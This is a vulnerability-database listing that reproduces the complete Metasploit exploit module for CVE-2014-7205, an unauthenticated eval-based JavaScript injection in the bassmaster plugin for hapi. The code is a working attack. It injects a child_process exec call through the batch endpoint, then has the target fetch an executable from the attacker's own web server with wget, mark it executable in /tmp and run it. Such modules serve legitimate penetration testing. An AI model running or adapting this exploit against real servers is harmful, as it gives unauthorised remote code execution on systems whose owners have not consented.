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Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution

🗓️ 01 Nov 2016 00:00:00Reported by mr_me <[email protected]>, Jarda KotesovecType 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution. Unauthenticated code injection vulnerability in bassmaster nodejs plugin for hapi. Allows attacker to execute JavaScript code on the server side

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
        'Description' => %q{
          This module exploits an un-authenticated code injection vulnerability in the bassmaster
          nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
          attacker to dynamically execute JavaScript code on the server side using an eval.

          Note that the code uses a '\x2f' character so that we hit the match on the regex.
        },
        'Author' => [
          'mr_me <[email protected]>', # msf
          'Jarda Kotesovec' # original bug finder
        ],
        'References' => [
          [ 'CVE', '2014-7205'],
          [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'bsd'], # binary > native JavaScript
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-11-01',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),                                                                # default port for the examples/batch.js file
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
      ]
    )
  end

  def check
    # So if we can append an encapsulated string into the body
    # we know that we can execute arbitrary JavaScript code
    rando = rand_text_alpha(8 + rand(8))
    check = "+'#{rando}'"

    # testing
    requests = [
      { :method => "get", :path => "/profile" },
      { :method => "get", :path => "/item" },
      { :method => "get", :path => "/item/$1.id#{check}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = { :requests => requests }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data' => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /#{rando}/
      return CheckCode::Vulnerable('Successfully verified JavaScript injection leading to code execution')

    # non-default app
    elsif res and res.code == 500 and res.body =~ /#{rando}/
      return CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return CheckCode::Safe('The target is not vulnerable')
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def send_payload
    @bd = rand_text_alpha(8 + rand(8))
    pn = rand_text_alpha(8 + rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
    cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
    cmd << "\\x2ftmp\\x2f#{@bd}"
    pay = ";require('child_process').exec('#{cmd}');"

    # pwning
    requests = [
      { :method => "get", :path => "/profile" },
      { :method => "get", :path => "/item" },
      { :method => "get", :path => "/item/$1.id#{pay}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = { :requests => requests }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data' => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /id/
      return true

    # incase we are not targeting the default app
    elsif res and res.code == 500 and res.body != ~ /id/
      return true
    end

    return false
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8 + rand(8))
    resource_uri = "\\x2f#{downfile}"

    @service_url = "http:\\x2f\\x2f#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
    start_service({
      'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      },
      'ssl' => false # do not use SSL
    })

    connect
  end

  def exploit
    start_http_server
    if send_payload
      print_good("Injected payload")
      # we need to delay, for the stager
      select(nil, nil, nil, 5)
    end
  end
end

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